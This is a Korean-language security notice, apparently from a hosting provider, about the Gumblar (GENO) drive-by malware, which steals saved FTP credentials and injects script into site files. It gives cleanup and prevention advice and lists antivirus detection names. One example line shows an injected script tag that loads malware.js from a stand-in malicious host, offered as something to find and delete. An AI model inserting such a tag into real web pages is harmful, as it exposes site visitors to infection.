개인 PC 악성코드 관리는 생활화 하셔야합니다.
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최근 ‘검블러(Gumblar)’ 혹은 ‘GENO’로 알려진 악성코드가 빠르게 확산되고 있습니다.
이 악성코드는 특히 Adobe Acrobat 또는 Flash 프로그램의 보안 패치가 제대로 이루어지지 않은 PC에 치명적입니다.
사용자가 단지 감염된 웹사이트를 열기만 해도 자동으로 악성코드가 설치되는 드라이브 바이 다운로드(Drive-by Download) 방식이기 때문에, 전파 속도가 매우 빠릅니다.
감염 시 어떤 일이 일어날까요?
감염된 PC에 FTP 프로그램이 설치되어 있다면, 해당 프로그램을 통해 저장된 ID와 비밀번호가 탈취될 수 있습니다.
공격자는 이 정보를 이용해 웹사이트의 index, main 등의 HTML, PHP 파일을 변조하고, 악성 스크립트를 삽입합니다. 결과적으로 웹사이트 방문자도 2차 감염될 수 있는 위험한 상황이 발생합니다.
✅ 대응 방법 안내
1. 먼저, 감염된 PC를 정밀하게 치료하세요
악성코드를 완전히 제거하세요. 어려울 경우 OS를 재설치하는 것이 안전합니다.
이후 반드시 Windows 보안 업데이트와 Adobe Acrobat/Flash의 최신 보안 패치를 모두 적용해야 합니다.
중요한 점은, 악성코드가 남아있는 상태에서 단순히 FTP 비밀번호만 변경하면 소용이 없습니다. 비밀번호가 다시 탈취될 수 있기 때문입니다.
2. 임시 대응이 필요하다면 다음을 실천하세요
FTP 비밀번호를 즉시 변경하고,
기존 FTP 접속은 차단한 뒤, 보안성이 높은 SFTP(Secure FTP) 방식으로 전환하세요.
SFTP는 이번 문제뿐만 아니라 향후 보안 강화를 위해서도 권장됩니다.
3. 웹사이트 소스 코드 점검
변조된 HTML 또는 PHP 파일에는 다음과 같은 악성 스크립트 코드가 삽입되어 있을 수 있습니다.
예를 들어:
html
복사
편집
<script src="http://malicious-site.com/malware.js"></script>
이러한 코드가 삽입되어 있다면 즉시 삭제해야 하며, 사이트 전체를 점검하는 것이 필요합니다.
예방이 최선입니다
정기적으로 OS와 프로그램의 보안 패치를 확인하세요.
신뢰할 수 없는 웹사이트 방문을 자제하고, 보안 솔루션을 최신 상태로 유지하세요.
중요한 웹사이트 관리에는 꼭 SFTP 또는 웹 기반 파일 관리 도구를 활용하세요.
보안은 단발성 작업이 아니라 지속적인 점검과 관리가 중요합니다. 위 내용을 참고하셔서 사이트와 PC의 안전을 지켜주세요.
백신마다 부르는 이름.
시만텍 Infostealer.Daonol
카스퍼스키 Trojan-Dropper.Win32.Agent.apfn
마이크로소프트 Win32/Daonol.F
알약(BitDefender) Exploit.PDF-JS.Gen
- 다음글랜섬 웨어에 감염되는 사례가 다시 발생하고 있습니다. 25.05.17
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